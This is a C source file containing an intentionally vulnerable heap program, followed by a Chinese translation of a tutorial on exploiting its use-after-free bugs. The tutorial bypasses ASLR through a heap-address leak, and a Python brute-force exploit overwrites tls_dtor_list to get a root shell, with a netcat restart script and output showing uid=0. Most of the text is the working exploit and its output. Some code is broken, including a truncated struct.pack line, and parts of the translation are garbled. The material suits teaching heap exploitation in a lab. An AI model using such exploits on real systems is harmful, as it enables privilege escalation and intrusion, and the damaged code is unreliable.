#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define BUFSIZE1 1020
#define BUFSIZE2 ((BUFSIZE1/2) - 4)

int main(int argc, char **argv)
{
    char* name = malloc(12); /* [1] */
    char* details = malloc(12); /* [2] */
    strncpy(name, argv[1], 12-1); /* [3] */
    free(details); /* [4] */
    free(name);  /* [5] */
    printf("Welcome %s\n",name); /* [6] */
    fflush(stdout);

    char* tmp = (char *) malloc(12); /* [7] */
    char* p1 = (char *) malloc(BUFSIZE1); /* [8] */
    char* p2 = (char *) malloc(BUFSIZE1); /* [9] */
    free(p2); /* [10] */
    char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */
    char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */

    printf("Enter your region\n");
    fflush(stdout);
    read(0,p2,BUFSIZE1-1); /* [13] */
    printf("Region:%s\n",p2); 
    free(p1); /* [14] */
}

#if 0

echo 2 > /proc/sys/kernel/randomize_va_space

sudo chown root vuln
sudo chgrp root vuln
sudo chmod +s vuln

注意：与上一篇文章不同，ASLR在这里是打开的。
因此，现在让我们利用UaF漏洞，由于ASLR已打开，让我们使用信息泄露和暴力技术绕过它。

上述易受攻击的代码在第[6]行和第[13]行包含两个释放后使用的错误。
它们各自的堆内存在第[5]行和第[10]行中被释放，
但它们的指针即使在第[6]行和第[13]行中的free-ie）之后也会被使用！！
第[6]行的UaF会导致信息泄露，而第[13]行的UoF会导致任意代码执行。

什么是信息泄露？攻击者如何利用它？
在我们易受攻击的代码中（第[6]行），泄露的信息是堆地址。
这个泄露的堆地址将帮助攻击者轻松计算随机堆段的基址，从而击败ASLR！！！
要了解堆地址是如何泄漏的，让我们首先了解易受攻击代码的前半部分。

第[1]行为“name”分配了一个16字节的堆内存区域。
第[2]行为“details”分配了一个16字节的堆内存区域。
第[3]行将程序参数1（argv[1]）复制到堆内存区域“name”中。
第[4]行和第[5]行将堆内存区域“name”和“details”释放回glibcmalloc。
第[6]行的printf在释放后使用“name”指针，这会导致堆地址泄漏。

在阅读了必备文章后，我们知道与“name”和“details”指针对应的块是快速块，当这些快速块被释放时，
它们会被存储在快速容器的索引0中。我们还知道，每个快速容器都包含一个自由块的链表。
因此，根据我们的示例，快速bin索引零的单链表如下所示：

main_arena.fastbinsY[0] ---> 'name_chunk_address' ---> 'details_chunk_address' ---> NULL

由于这种单一链接，“name”的前四个字节包含“details_clock”地址。
因此，当打印“姓名”时，首先打印“详细信息块”地址。
从堆布局中我们知道“details chunk”位于堆基址的偏移量0x10处。
因此，从泄漏的堆地址中减去0x10，就得到了堆基址！！

如何实现任意代码执行？
现在，在获得了随机堆段的基址后，让我们通过理解易受攻击代码的后半部分来了解如何实现任意代码执行。

第[7]行为“tmp”分配了一个16字节的堆内存区域。
第[8]行为“p1”分配了一个1024字节的堆内存区域。
第[9]行为“p2”分配了一个1024字节的堆内存区域。
第[10]行将堆内存区域“p2”释放回glibcmalloc。
第[11]行为“p2_1”分配了一个512字节的堆内存区域。
第[12]行为“p2_2”分配了一个512字节的堆内存区域。
第[13]行的读取在释放后使用'p2'指针。
第[14]行将堆内存区域“p1”释放回glibcmalloc，这会导致程序退出时执行任意代码。

在阅读了先决条件后，我们知道当'p2'被发布到glibcmalloc时，它会被合并到顶部块中。
稍后，当为“p2_1”请求内存时，它是从顶部块分配的——“p2”和“p2_1“包含相同的堆地址。
此外，当为'p2_2'请求内存时，它是从顶部块分配的——'p2_2'距离'p2'有512个字节。
因此，当在第[13]行的free之后使用'p2'指针时，
攻击者控制的数据（最大1019字节）会被复制到大小仅为512字节的p2_1中，
因此剩余的攻击者数据会覆盖下一个块'p2_2'，从而允许攻击者覆盖下一个头块的大小字段！！

正如这篇先决条件文章所示，如果攻击者能够成功覆盖下一个块大小字段的LSB，他就可以欺骗glibc malloc取消块“p2_1”的链接，即使它处于分配状态。同样在同一篇文章中，我们看到，当攻击者精心制作了一个虚假的块头时，解除处于分配状态的大块链接可能会导致任意代码执行！！攻击者构造虚假块头如下所述：
fd应该指向释放的块地址。从堆布局中，我们发现'p2_1'位于偏移量0x410处。因此，fd=heap_base_address（从信息泄漏漏洞中获得）+0x410。
bk还应该指向释放的块地址。从堆布局中，我们发现'p2_1'位于偏移量0x410处。因此，fd=heap_base_address（从信息泄漏漏洞中获得）+0x410。
fd_nextsize应指向tls_dtor_list–0x14。'tls_dtor_list属于glibc的私有匿名映射段，该映射段是随机化的。因此，为了击败这种随机化，让我们使用暴力破解技术，如下面的漏洞代码所示。
bk_nextsize应该指向包含dtor_list元素的堆地址！！'系统'dtor_list由攻击者在这个假块头之后注入，而'setuid'dtor-list由攻击者注入，以代替'p22'堆内存区域。从堆布局中我们知道“system”和setuid“dtor_list”分别位于偏移量0x428和0x618处。

有了这些信息，让我们编写一个漏洞利用程序来攻击易受攻击的二进制文件“vuln”！！

漏洞代码：
Exploit Code:

#exp.py
#!/usr/bin/env python
import struct
import sys
import telnetlib
import time

ip = '127.0.0.1'
port = 1234

def conv(num): return struct.pack("<I
def send(data):
 global con
 con.write(data)
 return con.read_until('\n')

print "** Bruteforcing libc base address**"
libc_base_addr = 0xb756a000
fd_nextsize = (libc_base_addr - 0x1000) + 0x6c0
system = libc_base_addr + 0x3e6e0
system_arg = 0x80482ae
size = 0x200
setuid = libc_base_addr + 0xb9e30
setuid_arg = 0x0

while True:
 time.sleep(4)
 con = telnetlib.Telnet(ip, port)
 laddress = con.read_until('\n')
 laddress = laddress[8:12]
 heap_addr_tup = struct.unpack("<I", laddress)
 heap_addr = heap_addr_tup[0]
 print "** Leaked heap addresses : [0x%x] **" %(heap_addr)
 heap_base_addr = heap_addr - 0x10
 fd = heap_base_addr + 0x410
 bk = fd
 bk_nextsize = heap_base_addr + 0x618
 mp = heap_base_addr + 0x18
 nxt = heap_base_addr + 0x428

 print "** Constructing fake chunk to overwrite tls_dtor_list**"
 fake_chunk = conv(fd)
 fake_chunk += conv(bk)
 fake_chunk += conv(fd_nextsize)
 fake_chunk += conv(bk_nextsize)
 fake_chunk += conv(system)
 fake_chunk += conv(system_arg)
 fake_chunk += "A" * 484
 fake_chunk += conv(size)
 fake_chunk += conv(setuid)
 fake_chunk += conv(setuid_arg)
 fake_chunk += conv(mp)
 fake_chunk += conv(nxt)
 print "** Successful tls_dtor_list overwrite gives us shell!!**"
 send(fake_chunk)

 try: 
  con.interact()
 except: 
  exit(0)

Since in brute force technique we need to make multiple attempts (until we succeed) lets run our vulnerable binary ‘vuln’ as a network server and using a shell script lets make sure its gets restarted automatically when it gets crashed!!
因为在暴力破解技术中，我们需要多次尝试（直到成功），
让我们将易受攻击的二进制文件“vuln”作为网络服务器运行，并使用shell脚本确保它在崩溃时自动重启！！

#vuln.sh
#!/bin/sh
nc_process_id=$(pidof nc)
while :
do
 if [[ -z $nc_process_id ]]; then
 echo "(Re)starting nc..."
 nc -l -p 1234 -c "./vuln sploitfun"
 else
 echo "nc is running..."
 fi
done
Executing above exploit code gives us root shell!! Bingo!!

Shell-1$./vuln.sh
Shell-2$python exp.py
...
** Leaked heap addresses : [0x889d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
** Leaked heap addresses : [0x895d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
id
uid=0(root) gid=1000(bala) groups=0(root),10(wheel),1000(bala) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
exit
** Leaked heap addresses : [0x890c010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
...
$
Reference:

1. Revisiting Defcon CTF Shitsco Use-After-Free Vulnerability – Remote Code Execution




#endif
